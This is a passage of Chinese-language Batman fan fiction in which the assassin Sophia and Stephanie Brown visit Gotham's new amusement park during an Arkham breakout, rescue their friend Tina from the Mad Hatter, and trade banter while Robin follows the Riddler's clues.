不过过了不到一分钟，两人的注意力就从去阿卡姆需不需要自带被褥转移到了电视屏幕上，需要拖第二次的地板，被塞满的需要立刻倒掉的垃圾桶，洗衣机里已经烘干完成只需要拿出来的床单被罩，此刻都不如看屏幕上的谢尔顿在中餐馆用狗屁不通的中文点梅毒驴子。 其实索菲亚看不懂那些笑点，只是用余光看斯蒂芬妮的反应，要是斯蒂芬妮笑了她也跟着一起笑，模仿周围同伴的行为来避免自己过于突出是非常好的融入社交的方法。 索菲亚对自己的反应非常满意，过一会就看到斯蒂芬妮用遥控器关掉了电视。 “不看了吗？” 斯蒂芬妮摇头，没有说话。 电视关闭后带走了大部分声音，原本家里还能走的钟表不知道什么时候没电了，发不出一点动静，房间里又回到了索菲亚最熟悉的沉默安静的环境。 按照看过的影视作品的设定，大多数时候这种场景只会出现在角色关系破裂的前夕，沉默，无话可说，冷暴力之后便是关系正式破裂以及离开。 索菲亚几乎可以设想出重新回到一个人的生活，这再熟悉不过了。她只需要避免冲突，帮斯蒂芬妮打包好她带来的行李。哦对，斯蒂芬妮没带行李来，没关系索菲亚不介意把那个房间里的东西都送给斯蒂芬妮，至少她还能为朋友付出点什么。然后礼貌的送斯蒂芬妮离开，这样的话关系不会闹得太难看，或许之后两个人还可以一起吃饭。 斯蒂芬妮侧身看了过来，索菲亚用尽全身心克制自己想要移开视线的本能，想要把少女的眼眸印刻在自己的记忆里。 “你不需要这样做索菲亚，我不会离开你的。” 斯蒂芬妮伸出双手等待片刻，索菲亚便自觉的靠了上去将自己埋在少女的怀抱中。 “讨好别人是件很痛苦的事，曾经因为我爸妈的事，我迫切的需要关爱需要爱情。那时候我能看到的所有书都在告诉我，女性想要获得血缘关系以外的爱只有踏入恋爱关系这一条路。” “于是我迫切的在同学中找了个不算讨厌的男生恋爱，我俩在学校树林里亲嘴的时候距离我和他第一次说话还不到24个小时。” “我以为这样就算获得了爱，好像也没什么大不了，然后就是那个家伙打着恋爱为名的冒犯。” “他会对着我的每张照片指手画脚指责我的穿搭，不是说我打扮的不漂亮，就是说我像站街的流莺。但是等到了我生日的那天，收到的来自他的礼物是一条黑丝，他打视频通话过来说想看我脱光了只穿黑丝的样子。” “直到两个月之后我发现他和别的女生上床，我才决定分手。即便如此，分手的那几天我还是哭的稀里哗啦的，觉得自己没用没能经营好这份感情。” “我可以帮你杀了他。”索菲亚突然打岔，声音有些发闷。 “这倒不用，等我意识到不对的时候我去学校把他打了一顿。”斯蒂芬妮轻笑道。 “你看，即使是我也会在对方的情感操控下有意无意的去讨好对方，即使受了这么大的屈辱也只会认为是自己的问题。可是，如果真的是恋人或者朋友的话，本身就不需要去讨好对方不是吗？除非对方是那种能够从你的讨好中获益的人渣。” “我怕你会难过，明明你看电视剧的时候很开心我却一点反应没有。” “可是我们是超级无敌好朋友不是吗索菲亚？你不需要讨好我。” 两个女孩子依偎在沙发上，过了一会斯蒂芬妮默默地收回了抱着索菲亚的手，并尝试扒拉索菲亚紧紧箍在自己腰上的手臂。 “松手，要热死了，快开空调。” 索菲亚只能不情不愿的从沙发下来，翻出来空调遥控器打到最低，还没来得及回到沙发上就听到斯蒂芬妮回话。 “地还没拖完，床还没整好，地毯也没送去干洗，别躺了起来干活吧。” “不是说我不用讨好你吗？” “那你今晚别睡觉。” 等到一切都收拾整齐，两人大汗淋漓的重新倒在沙发上，感受冷风将皮肤上的汗液一点点吹干带走多余的温度。 “我觉得不对，除了你我也没讨好别人。” “那你为什么要来我这里再确认一遍我听到你杀人后的反应呢？” “我没——” “闭嘴吧，你超在意，你不想有人失望所以一次次确认还装做不在乎。可是我问你如果我说我在乎，你还会下手吗？” “嗯……我会。”索菲亚沉思片刻给出了答案“那家伙很危险，留下来只会留下麻烦，我不想给自己挖坑。” “嗯哼？”斯蒂芬妮扬起一抹淡淡的笑容，连带着眼角眉梢都流露出笑意“那你在焦虑什么？面对真正要做的事，别人的失望又不会左右你的选择。” 倒扣在桌面的手机在此时发出震动，索菲亚伸长手去够却始终够不到，还是斯蒂芬妮长手一钩把手机递给了索菲亚。 “你想去游乐园吗？”熟悉的对话框亮起，随后弹出一张照片。 少年大概率还在作为罗宾加班，没有脱去手套，手里捏着两张印刷精致的游乐园门票。 “我这里多了两张票，你可以邀请你的朋友去。” “那你也会去吗？” 过了半个小时对方才发来新的对话。 “我会去的。” 超过30个小时没有休息对于现在的罗宾来讲不算什么稀奇，蝙蝠侠最忙的时候一天只睡两三个小时就继续工作在蝙蝠洞算得上司空见惯，而作为大哥的夜翼更是重量级。 据迪克说他在布鲁德海文要一边做警察一边额外打工赚钱晚上还需要作为夜翼巡逻，偶尔还需要抽空帮忙解决朋友的问题以及和暧昧对象更进一步。 如同八爪鱼一样多线程处理方式的行为让提姆叹为观止，并从吸取到时间管理的精髓，努力做到用最短的休息时间恢复更多的能量。 可是这套方法似乎失效了。 目睹着索菲亚离开的罗宾在频道里听到了赶去的导师对尸体进行尸检的口述报告，穿刺，斩首，下手速度极快且极度了解人体结构。 罗宾没办法把导师口中冷酷的杀手和索菲亚联系在一起，即使他清晰地听到了案发的全部过程。 回到蝙蝠洞的蝙蝠侠没有说什么，只是嘱咐提姆早点休息。 等到提姆回到房间时，窗外的倾盆大雨已经将整个哥谭笼罩。 无法入睡的少年坐了起来，打开了电脑进入网络将索菲亚的信息再次翻出来 索菲亚.布兰登，出生于洛杉矶，在父母离世后前往纽约生活。在得知索菲亚猎魔人身份的那天，少年就调查过索菲亚父母的身份，资料显示这对夫妻确实死于十年前并且留下了一个五岁的孩子，但是姐姐的身份却并未提及。进入户籍系统输入索菲亚的姓名，也找不到任何的抚养关系。 学校里老师曾经提过索菲亚的姐姐的全名是伊芙琳.布兰登，提姆在全国找到了几十个伊芙琳，却没有一个和索菲亚有哪怕一点的联系。 直到一则新闻吸引了提姆的注意。 十五岁少年勇夺冲浪冠军，提到获奖感言少年感谢了自己五岁时就去世的父母，而他的父母的名字和索菲亚档案上填写的一模一样。 30-40 第31章 哥谭乐园位于哥谭市中心的伯恩利区, 是布鲁斯韦恩的祖父艾伦韦恩重建哥谭市时修建的游乐设施，彼时迪斯尼乐园在全球扎根通过贩卖梦想和童话赚的盆满钵满，不甘示弱的艾伦韦恩因此仿照迪斯尼乐园修建了哥谭自己的占地200公顷的游乐园来吸引游客来访。 随着岁月变更, 哥谭乐园经历了不下五次翻新，面积也从最初的200公顷达到如今惊人的2000公顷。 如今的游乐设施大多也都进行了升级，选择了年轻人会喜欢的款式, 例如在空中能做到360度旋转的疯狂过山车, 以超高速度从高处落下的跳楼机，载满了热情活泼的可互动NPC的花车围绕整座园区的游行，以及即使经历将近百年的历史变化依旧矗立在乐园中心的，能够将一切尽收眼底的巨大摩天轮。 而最新一次的翻修由韦恩集团全部出资, 更换了所有可能有安全隐患的设施, 以及对一直存在的摩天轮进行了重新装饰显得更加梦幻。 在社交平台上, 哥谭的所有人都在发疯一样的宣传这座不该存在在哥谭的梦幻之地，不过这座游乐园尚未宣布开业，流传在网络上的也大多只是些韦恩集团放出的精致宣传片。而这个周六, 这座承载着哥谭一切欢乐和笑声的乐园就会正式开放, 在当天晚上的九点, 便是一场盛大的成本超过200万美元的烟花秀。 提姆目前作为布鲁斯韦恩的临时代理人当然不需要门票就能进入，所以索菲亚可以额外带一位朋友入场。 斯蒂芬妮原先还以要去打工的理由拒绝, 但在刷了几天tiktok和x后一把推开了索菲亚房间的门。 “我也去, 看起来跟做梦一样, 不去太亏了。” “打工？” 被从床上拉起来的索菲亚迷茫的看着斯蒂芬妮。 “不重要, 反正我本来也快攒够钱了，不差这一天。” 两个人欢呼雀跃着找这所游乐园的各种攻略, 比如如何排队最省时间, 哪些特色小吃一辈子一定要尝一次, 再比如商店会出售的限定款包括蝙蝠侠，超人，神奇女侠在内的超级英雄玩偶。 “其实这还是我第一次去游乐园，是不是有点紧张过度了。”斯蒂芬妮揉了揉几乎要完全合上的眼睛“哇，索菲亚外面是不是天亮了。” “嗯……嗯，我也是。”索菲亚靠在床头，已经点起了头“亲爱的，我们是不是该睡了。” 索菲亚没来得及得到回应，就听到来自另一头的微弱的鼾声，来不及嘲笑同伴，自己也身子一歪倒在了床上，如同回到母亲柔软的怀抱一般，在初升的朝阳下，陷入了婴儿般的睡眠。 当索菲亚和斯蒂芬妮背着背包刚检票入园时，阿卡姆暴乱犯人出逃的信息也随之而来，排队的人群同样开始骚乱。 对于一个个需要镜头表现自我的患有精神疾病的反派来讲，不占据几个地标建筑搞点事都对不起反派的身份，距离阿卡姆最近的哥谭学院因为放假躲过一劫。 但像是银行，韦恩集团，下水道这种经典场所大概率不久就会有反派自动刷新，而选在今天开业的哥谭乐园更是debuff拉满的顶级倒霉蛋。 烟花，摩天轮，游乐设施，把欢笑的场地换成痛苦和泪水，对于有自我追求的反派来讲简直是无法拒绝的诱惑，斯蒂芬妮和索菲亚几乎能猜出来谁有最大的概率会来。 “小丑不来我倒立洗头，感觉他马上就要让蝙蝠侠玩二选一的电车难题小游戏了。”斯蒂芬妮从背包里拿出加了草莓酱的吐司咬了一口。 “确实。”索菲亚点头，对着自己手里的花生酱三明治也啃了一口。 即使不是蝙蝠侠系列忠实粉丝，但是有关《黑暗骑士》互相投票杀人的手法属实让人头皮发麻，《致命玩笑》里把戈登警长绑在过山车上目睹自己女儿惨状的情节真是猫头鹰法庭看了都摇头。 “小丑玩弄人心方面聪明的吓人，经常性的用残忍手法让受害者产生恐惧，并持续通过语言暗示让受害人的痛苦和蝙蝠侠联系在一起。即使受害人被救回但应激创伤会下意识的把蝙蝠侠和小丑联系在一起，甚至部分受害者会因此怨恨蝙蝠侠而不是小丑。” 斯蒂芬妮掰着手指分析，说到最后自己都觉得荒谬翻了个白眼。 “小丑到底想干什么？他也不图钱，也不要世俗层面的权力，爱慕他的哈莉奎因还被当狗一样玩。总不能他真的暗恋蝙蝠侠，但因为布鲁斯韦恩的插足爱而不得吧。” “我觉得可以磕。”索菲亚突然抬头看向天空。 “什么都磕只会害了你。”斯蒂芬妮站了起来重新背起背包“走吧，先不管那么多，玩几个项目再说。” 在过山车上，斯蒂芬妮最初还能保持镇定，却在过山车的车厢从最高处冲下暂停时突然向后变速抬升，在时速超过149英里的急速倒退和360疯狂旋转下，即使是有不到两个月出道经验的搅局者也忍不住频频爆出脏话。 斯蒂芬妮用余光看索菲亚，就只看到自己娃娃脸的超级无敌好朋友脸上满是无语，即便是年龄十五工作年龄超过十岁的冷酷杀手坐过山车也会被大风刮的睁不开眼睛。 好消息是两个人坐完了过山车和跳楼机正在排大摆锤的时候，就已经收到了蝙蝠侠把小丑捉拿归案的消息。 小丑在逃狱的短短几个小时里就挟持了几个原本要出游的家庭，通过哥谭电视台直播画面。他给大人的脑袋上套上了头套并告诉他们，打败了小丑的手下就可以离开。 几个成年人为了生存和家人利用能得到的一切武器互相攻击，等到蝙蝠侠找到了隐藏在废弃仓库里的真正的演播室时，已经有一位女性被认做敌人在围攻下失去了生命，其他人都有程度不等的伤口。 但是现场并没有找到被挟持的孩子，直到蝙蝠侠通过热力成像找到了隐藏在地板下的被封死的地下室。打开地下室机关的那刻，大量的水涌了出来，意识到问题的蝙蝠侠立即跳入水中将几个孩子捞了上来。 即便蝙蝠侠和罗宾做了再多心肺复苏，这些孩子也没活下来的迹象。 而一切的玄机在于，困住几位大人的房间地板上被设置了几处重力感应机关，只要被施加压力就会向地下的密室中灌水，直到整座密室都被填满。 不愿意接受现实的大人倒在地上大声哀嚎，而一位男人最为不幸，他的妻子在这场无妄之灾中被波及，孩子则死在自己为了逃生而不断被触发的机关下。 罗宾想要上前安抚，就接到了新的罪犯出没的消息，只能联系GCPD和救护车收拾残局，自己则跟着导师马不停蹄的赶往下一个现场。 稻草人则挟持了哥谭医院，并已经在通风设备里混入了足够剂量的恐惧毒气。 受到幻觉的影响，大多数毫无防备的普通人突然坠入了深渊，怪物，杀手，仇敌，一切深压在内心中的恐惧幻化成现实，尖叫，嘶吼，攻击在满是消毒水味的医院蔓延开来。 夜翼刚刚落地，就听到神谕颇为冷静的声音。 “监控中没有看到稻草人，他应该藏到了其他地方，解毒剂带好了吗？” “放心，这边交给我就够了。”多米诺面具下英俊的脸庞带了些倦意，但完全不影响义警侧身避开腿上打着石膏还能举着拐杖抡人的病人。 “哇哦，医学奇迹。” 夜翼戴上准备好的防毒面具，挤进了混战的人群。 “你说我们是非玩不可吗？”从海盗船上趁机口头草了全世界的斯蒂芬妮获得了无与伦比的放松“这可是非常少见的可以踢反派屁股的限时活动，去晚了可就赶不上了。” 索菲亚的眼神全都黏在远处的冰淇淋车上，看着一个个冒着冷气的五颜六色的圆球馋的直流口水。 “那我们能先吃个冰淇淋再走吗？” “吃，为什么不吃。” 话没说完，索菲亚就捏着早就准备好的一百美元给自己和斯蒂芬妮各买了两个球的冰淇淋。 “那我们去踢谁的屁股？小丑已经被抓回去了，剩下的双面人在抢银行，等等双面人怎么老跟银行杠上。杀手鳄回下水道去了，疯帽匠在博物馆劫持了正在参观的一群小学生，谜语人在医院。” “我们的设备没办法过滤毒气。”索菲亚企图一口吞掉一个球，结果嘴张的太大撑得下巴发出清脆的“嘎嘣”声“我不想从幻觉醒来的时候发现不小心把你杀掉了。” “听起来就烂透了，那我们不去管稻草人。”斯蒂芬妮倚靠在椅背上，金发在阳光的照射下像是小麦一样。 “双面人那边似乎蝙蝠女侠已经到场了，X上已经有人趴在地上的时候悄悄拍照片了。” “蝙蝠侠和罗宾似乎在处理贝恩，那我们好像也就只能选一个人了吧。” “疯帽匠。”答案过分明显，两个人异口同声的说出了答案，接着相视一笑。 接着两只叽叽喳喳的小鸟扇着翅膀离开了这座乐园。 第32章 索菲亚在博物馆高处落地, 一眼就看到了长相实在算不上好看的疯帽匠以及被他戴上了项圈的金发少女。 少女和索菲亚看起来差不多大，双眼被用布条蒙住，疯帽匠不停的拉着连接项圈的锁链, 迫使少女不得不弯下腰行动。少女的动作看起来非常别扭，只能用接近一米七的身高去将就一米四左右的疯帽匠，显得十分狼狈。 那头金色长发让索菲亚无比熟悉, 即使不用摘下眼罩索菲亚也知道被挟持的女孩是谁。 “被挟持的不是小学生吗？怎么还有这个姑娘。”斯蒂芬妮选了另一处位置潜入, 此时正把自己倒挂在照明的灯具上“等等，她是不是？” “是。”索菲亚的注意力全都被放在了被挟持的蒂娜身上，其他人员已经撤离完毕，除去蒂娜还有几个小学生正压着嗓音吸鼻子。 “蒂娜是不是有点倒霉, 要不你之后劝她搬家吧, 去哪都行哥谭还是太危险了。” 疯帽匠的所有精力都在蒂娜身上, 对于那些孩子却连一眼都没看过，让斯蒂芬妮找到机会降下去像是抓娃娃一样，拦腰抱着两个孩子升了回去。索菲亚随即让出了自己脚下这块算得上安全的区域, 挪去了另一处地方, 这才听清疯帽匠喋喋不休的话语。 “爱丽丝啊, 爱丽丝，你为什么是爱丽丝。” “去你的, 谁是爱丽丝, 啊——”蒂娜的反驳被尖叫打断, 疯帽匠抓起蒂娜金色的头发歇斯底里的怒吼。 “爱丽丝, 是谁污染了你，是谁让你误解了我的爱, 又是谁把你从我身边再一次夺走。” 蒂娜没有再说话, 身体却止不住的发抖, 皮肤被强行套在身上的布满了劣质蕾丝的裙子蹭的发红发痒却腾不出手去抓挠。眼泪源源不断的流出，打湿了眼罩。 “你是唯一不嫌弃我的人，我知道我们相见的第一面你就爱上了我，只有爱情才能让人无视一切的缺陷，让人变得完美。” 索菲亚不能再冷静了，看着在边上气的咬牙切齿的斯蒂芬妮，索菲亚向同伴打了个手势。 底下还有七八个孩子，并且因为刚刚的偷渡行为，大多数孩子都注意到了搅局者紫色的身影，视线全部黏在上空，即便有蒂娜吸引疯帽匠的注意，但这样的情况也属实危险。 最好的办法就是其中一个人先下去制服疯帽匠，而另一个人趁机将孩子和蒂娜带出攻击范围，确认安全后再回来支援。 斯蒂芬妮轻轻点头，理解了索菲亚想表达的意思，就在此时一个孩子终于憋不住了大声嚎哭起来。 被吓了一跳的疯帽匠刚要去查看，就被蒂娜抓住了衣服。 “亲，亲爱的，我也，爱你，你为，为什么要去看别人。” 利用蒂娜争取来的短短几秒，索菲亚从高空跳下落在两人身侧，伸手就要把少女拉开。 “啊——” 没想到的是，首先传来的是蒂娜的尖叫，少女倒在地上浑身都在抽搐，索菲亚意识到少女脖子上被套上的是个能够释放电流的电击项圈。抽刀转身，一刀劈在疯帽匠按在遥控器的手指上，将疯帽匠往相反的方向一脚踹开。 飞身拿起遥控器，连按好几下按钮，少女的抽搐才停了下来。索菲亚一把拉下挡住蒂娜双眼的烂布条，就看到了那双总是快乐的眼睛里持续不断的涌出泪水。 少女见到索菲亚带着面具的脸后，泪水流淌的更加汹涌，在哽咽声中，蒂娜伸出手臂将索菲亚抱在怀里终于能够放大哭声，泪水在防水的制服划过，没有留下一丝痕迹。 察觉到异常脚步声的索菲亚不用抬头，在长刀即将离手扎穿对方的身体时，索菲亚这才看清走上来的是个意志不清的小孩。 “冷静点猫头鹰。”斯蒂芬妮喊道，手里的飞镖击中那柄长刀使得武器偏离了方向。 随后，被操控的孩子有的上一秒哭泣下一秒就机械的站了起来，面无表情的将三人围了起来。斯蒂芬妮用脚一勾，就把掉落在地上的长刀捡了起来，扔给索菲亚。 索菲亚放下已经晕过去的蒂娜站了起来，两人对视后开始了进攻。 对待算不上敌人的孩子们，两人尽力减轻了力度，保持在让这些小孩昏迷的力度，即便如此也算的上难缠。 直到将最后一个孩子放倒，斯蒂芬妮才长出一口气。 “终于结束了，这家伙怎么这么没品，控制小朋友打义警，自己却不上。” “对，没品。”索菲亚迎合道。 环顾四周，却突然不见了疯帽匠的身影，索菲亚只觉得疲惫，转过身果然看到了再次企图向昏迷的蒂娜伸出手的矮小反派。 摸出顺手从罗宾的腰带里顺来的罗宾镖，向疯帽匠的方向扔去，在对方狼狈的闪避时再次挥出一刀。 只是比起熟悉的致命伤刀刃的角度有略微的几分偏移。 斯蒂芬妮从腰带里掏出绳索，将肩膀受伤倒地的疯帽匠捆的结结实实，将通讯器调到了某个索菲亚完全没印象的频道打开了声音。 “神谕，疯帽匠已经抓到了，需要送货上门吗？” “蝙蝠车五分钟后会到，放在后座就好。”那头的女性回复道，仔细听还能听到不断敲击键盘的响声。 “那是谁？”索菲亚发出疑问，一边用刀割开了蒂娜脖子上劣质的项圈和被套在裙子外的蕾丝裙子，避开少女腿上的石膏将蒂娜背在背上。 “一个很靠谱的大姐姐，我之前一个人夜巡在她那学了好多。”斯蒂芬妮眨了眨眼“现在我们只需要把疯帽匠打包好就可以离开了，是不是很划算。” “确实。”索菲亚点头表达认同。 杰维斯.泰奇是一个在哥谭都算的上少见的孩子，身材矮小，头大如斗，从懂事起所有的孩子无论高矮胖瘦都可以肆无忌惮的嘲笑他，矮冬瓜泰奇的难听外号再也没能从脑袋上摘下来过。 父亲和哥谭大多数不靠谱的雄性动物一样，早早地抛弃了杰维斯母子，杰维斯的母亲也在被丈夫抛弃后精神状况愈发糟糕对自己的儿子动辄打骂。 男孩从小忍受着别人的讥讽嘲笑，即便母亲的谩骂更多是对他无能的控诉，可是她又何尝不是在暗示想要一个漂亮乖巧能留住丈夫的孩子呢？ 男孩唯一的慰藉只有知识。 其一，他在学校里成绩优异，依靠漂亮的成绩获得的奖学金让母亲能够难得露出好脸色来。 其二，当杰维斯全身心沉浸在书本中领略那些令人叹为观止的知识时，他可以轻易得知在这个只依靠外貌判定他人的世界之外的知识，大到行星宇宙，小到人体内的每个细胞，没有人会因为他的长相拒绝向他传授知识，而他，他只需要翻开书本，就能得到这一切。 只是很快杰维斯便笑不出来了。 来自韦恩集团的巨额的顶的上妈妈半年工资的助学金，落到了同班里那个家境优越且成绩远不如自己的家伙。 按照计划，这笔钱会让妈妈开心很久，她不会再生气，会难得的夸奖杰维斯是个有能力的孩子，再进入厨房给杰维斯端上热腾腾的加了酸奶油的炖菜作为奖励。她会以我为骄傲的，她一定会。 可是这一切都毁了。 杰维斯红着眼怀揣着怒火敲开了办公室的门，却只得到了对方形象更好可以帮助韦恩集团宣传的可笑理由。杰维斯本就巨大的脑袋几乎要被气的更大，像是充满了气一戳就会爆炸的红气球，随后他听到一声细小的几乎难以用耳朵捕捉到的嗤笑。 杰维斯气冲冲的要推门离开，却被撞了个正着摔在了地上，拿到了助学金后趾高气扬的家伙正假惺惺的道歉。 “抱歉啊，杰维斯，你太小了我没有看到你。” 杰维斯落荒而逃，但仍旧能感受到办公室内夹杂着窃窃私语的嘲笑声。 “好丑。”“好矮啊，他是怎么来上学的。”“好难看，他妈妈看到他不会昏过去了吧。”“好难看啊，我看了饭都要吃不下了。”“那个矮冬瓜。”“那个丑家伙。”“好丑。”“好丑。”“又矮又丑。” “够了，别说了，都给我闭嘴。”杰维斯从噩梦中怒吼着醒来，却发现还在午夜。 爱丽丝是唯一不会嘲笑他的人，金发的少女总是温柔的，经过时身上总是会带来栀子花一样的香气，简洁的白裙，一切就像是童话一样。 爱丽丝是唯一会对他笑的人，不是嘲笑讥笑，而是真诚的微笑。 她一定爱我，只是碍于面子不好表达，没关系的我不会在乎的，我也爱她，我们一定能够永远在一起。对的，她爱我所以才会对我笑，她为什么不对其他人笑，一定是对我有好感，喜欢我，对她一定喜欢我。 此时大脑里的那些嘲笑再次出现，杰维斯在爱丽丝疑惑的眼神里抱头逃窜。 高中毕业后杰维斯进入哥谭大学深造，在选择方向时他甚至忘记了要挣钱带母亲脱离苦海的愿望，脑子里只萦绕着一个念头。 我不许任何人能够嘲笑我。 选择了神经科学的杰维斯在心灵控制技术上找到了自己唯一的出路，只要这项技术获得突破，那么将没有任何人能瞧不起自己，大家都会爱我，就像他们爱别人一样，就像爱丽丝爱我一样。 依靠技术获得了学位以及韦恩集团工程师offer当天，杰维斯难以掩盖发自内心的优越和快乐，他拿着这些东西招摇过市，终于有勇气敲响了爱丽丝家的门。 她一定会高兴，有一个人回应了她的爱，并且变得如此成功。我会让她幸福，我们会有孩子，我们会一起抚养孩子长大，直到死亡将我们分开。而现在就是一个幸福故事的开始。 杰维斯敲门的手从沉着逐渐变得焦急，天光由明亮转向黑暗，在昏黄的夜灯下，杰维斯始终没等到爱丽丝打开房门。 矮小的男人遗憾的转身，正好看到被陌生男人搂着腰的女人从黑色的汽车上下来，临走前两人还在激吻。 透过汽车的后视镜，杰维斯看到了爱丽丝花一般美丽的脸，以及如同老鼠一样丑陋矮小不堪入目的杰维斯泰奇。 ——一个真正的笑话。 第33章 索菲亚对疯帽匠之后的故事几乎能猜出个大概, 陷入疯狂的他杀死了被他判定为出轨的爱丽丝，即使那个姑娘只是几年前对他笑了一下。 随后，杰维斯回家杀死了因为慢性病长期卧床不起的母亲, 在大街上以金发为标准，捕获属于自己的爱丽丝，并利用精神控制的技术让那些女孩忘记恐惧心甘情愿的泡在污水中, 在老鼠和蟑螂肆虐的环境下扮演着荒谬无比的童话故事。 直到蝙蝠侠出现拯救了这些女孩, 把她们从虚假而残酷的兔子洞里救出，在经受心理治疗后重新回到熟悉的世界。 将疯帽匠打包好并且安置好受害人的两位义警在休息片刻后打开手机发现还不到下午四点。 “现在回去的话，咱俩能坐两轮摩天轮，运气好的话可以在摩天轮上看烟花。”斯蒂芬妮坐在天台上看着医护人员安抚受到惊吓的孩子们, 并为他们处理伤口。“或者最后一趟你和你的亲亲男友去看, 只要他赶得过来。” “我觉得很难。”索菲亚注视着醒来后被医护人员搀扶着躺上担架的蒂娜, 确认少女上了救护车才收回视线“但没关系，就算没有男人我们也可以约会，你不介意的话我们也能在摩天轮上亲嘴。” “我要申明一点, 我并不是女同。”斯蒂芬妮伸出手指按在索菲亚的嘴唇上“为什么要亲我的嘴, 你不是还在谈吗？还是你背着我分手了没有嘴亲就决定对我下手。好吓人, 你们双性恋。” 索菲亚脸上没有一丝尴尬，只有对恶作剧成功的得意, 直到救护车彻底离开两人才离开。 面对难处理的贝恩, 蝙蝠侠有意将罗宾支开。 一个不仅仅依靠体格带来的强大力量和战斗技巧并且兼备智慧的敌人, 就连强大如蝙蝠侠也曾被贝恩折断了脊椎险些命丧于此, 据阿福说如果不是克拉克慷慨的借出了唯一孤独堡垒中的修复仓，导师唯一的命运只有瘫痪在床。 即便如此, 蝙蝠侠的身体还是受到了后遗症的折磨。 提姆实在没办法放心导师去面对曾经险些杀死他的敌人, 可是对上那双冷静的眼睛, 罗宾还是接受了去追查谜语人踪迹的任务。 “罗宾，我会联系其他人来支援。” “我这边已经处理好了，马上就到。”夜翼磁性的声音在频道里响起带来几分安全感“放心吧罗宾，我会看着B的。 ” 谜语人留在病房内的第一个谜语内容为，什么东西你每天都‘获取’，却永远无法归还？它能成就你，也能击垮你 —— 偏离轨道时，你最缺的就是它？（What do you take every day， but can never give back? It builds you up or breaks you down—what’s the thing you ck if you’re off track?） 这道谜题算不上困难，虽说罗宾自认自己离成为世界第一侦探还有些距离，但这种级别的谜语算得上入门级了，答案自然是“Lesson”，按照谜语的含义更多是教训，但结合谜语人一向热爱的双关谜语，那么附近能够提供课程的场所，最近的就是距离阿卡姆最近的学校——哥谭学院。 虽然哥谭犯罪之都的恶名早已做到名声远扬，但哥谭学院按照严苛的入学标准，优秀的师资力量和几乎人人藤校的出色成绩在全美都算得上数一数二的优秀私立学校，如果有一天有想要造出成绩的反派闯入哥谭学院用MP5进行扫射，第二天哥谭的政商两界都会原地瘫痪，顺便一提夜翼和神谕都是由这所学院毕业的优秀校友。 虽然说迪克因为理念不合在哥谭大学选择退学，之后为了成为警察进入警校深造，但不影响作为布鲁斯韦恩的被监护人从这所学校毕业所带来的明星效应。 钩爪从高楼上急速收回发出冷硬的摩擦声，罗宾借力如一片羽毛般落在了哥谭学院的天台上，黄色里衬的黑色披风被风卷起像只振翅欲飞的蝴蝶。 比起一间间教室寻找线索，罗宾更倾向于谜语人会选择更加具有特色的和课程相关的场所隐藏谜语，比如哥谭学院引以为傲的能够同时容纳万人的大教室。 提姆很快找到了位于一楼的这间特殊的教室，拧动把手听到了齿轮被卡住的异响，果然如预料般教室的门因为放假被上锁。这件事对于蝙蝠侠的门徒来讲算不上麻烦，从腰带里取出□□插入锁孔，只需要轻轻拧动就能够让齿轮随之运转，让上锁的门心甘情愿的向罗宾打开自己。 虽然说特工电影里常有用一根铁丝或者发卡开门的情节，但是作为有一定智力水平的人类除非为了表演，放着现成的工具不用选择铁丝开门或多或少有点毛病。 打开大门阳光透过玻璃窗打在地面，灰尘微粒在光线下无处遁形，作战靴的鞋跟在地面的响声在空旷的教室回荡，空气中同样弥漫着灰尘的味道。 罗宾呼吸平稳，扫视一周后还没来得及查看细节，一声巨响就在阶梯教室中炸开。 条件反射般抽出长棍，在爆炸引起的硝烟散去后，提姆很快看到了被炸出了个小坑的布告栏，以及布告栏下随着爆炸显露出的谜语。 没有手指但我能指，没有手臂但我能打，没有脚但我能我跑。（Without fingers I point，without arms I strike，without feet I run.） 再次检查整间教室确认没有被遗漏的炸弹后，罗宾才前往谜语中所暗指的下一个目的地——钟楼。 索菲亚和斯蒂芬妮换好了衣服各举了一杯碳酸饮料换了个长椅开始挨个盘算玩过的项目。 号称刺激的过山车，海盗船，跳楼机对于身处义警职业边缘的二人来讲和惊险刺激四个词完全扯不上关系，反而是在乐园中心的湖面玩电动船的时候，两位优秀的夜间职业者被彼此飘忽不定的行进速度折磨得几乎要吐了出来。 平和的没有一丝危险，却如影随形的晕眩感攻击了船上的所有人，即便如此两个少女还是能够保持平和的面色，只是嘴角略微有些紧绷，看不出一点对于出游的欢喜之情。 同伴质疑的眼神格外刺眼，索菲亚移开视线把注意力全部集中在湖面养殖的羽毛雪白的鸭子上。 这鸭子可真鸭子啊。 屁股好圆，脑袋看起来也圆圆的好可爱哦。 他半夜也会变成五颜六色的罗宾鸟跟在大蝙蝠身后夜不归宿踢人屁股吗？ 等等，那是什么？陆地为什么越来越近了？ 游船一个冲刺撞在岸边，庆幸岸边提前布置好了缓冲的轮胎，不然两位身手了得的义警在公园划船负伤听起来可以进哥谭笑话前十。 剩下几个的几个笑话大多是些小丑出狱不到三小时就被蝙蝠侠打断骨头送回来办理入院，双面人因为被分配到小丑对面的牢房激情越狱，在一番惊天动地的计划后终于在热心群众蝙蝠侠的帮助下换到了扎斯对面的牢房。 以及上周发生的，认为自己的伪装天衣无缝发誓要夺走布鲁斯韦恩一切的新兴反派缄默先生，在伪装成功的一小时内就被人认出了假货的身份，甚至对方贴心的认为这是一场cos布鲁斯韦恩的精彩活动，并热烈的恭喜缄默先生在这场比赛中获得第三的好成绩，前两名分别是布鲁斯韦恩本人，以及一名不愿意透露姓名的路人火柴马龙先生。 当然其中还包括只流传在阿卡姆内部论坛的消息，蝙蝠侠早期用钩锁爬楼结果没有固定好位置险些摔个狗吃屎的故事，只可惜这项传闻仅仅只是传闻没有任何影像资料可以证明，大概率是某位对黑暗骑士先生充满怨恨的阿卡姆居民编撰的产物，而这条帖子在发出后不到三个小时就消失在了茫茫的虚拟世界中。 等到两人好不容易将船开回原位，两人最后只选了最为安全舒适的项目，旋转木马。 双层的由木马构成的如同蛋糕一样的建筑中，颜色各异的木马格外吸引人，斯蒂芬妮略过脚蹬长腿一跨便飞身上马，由白漆涂成的带着光泽的木马配合打扮清爽的少女映出一副时刻备战的英勇骑士少女的画像。 索菲亚完全没有坐在由机械控制的，上下成规律移动并稳定旋转的木马上cos王子骑士的戏码，选了被雕刻成南瓜马车形状的宽阔座位坐下，看着眼前把手里在商店随手买来的塑料宝剑耍的虎虎生风的斯蒂芬妮拿出了手机。 “咔嚓。”快门按下后发出的声响让少女下意识回头，金色的发丝在空中短暂的划过弧度，一看就看到了面无表情的拿着手机的索菲亚。 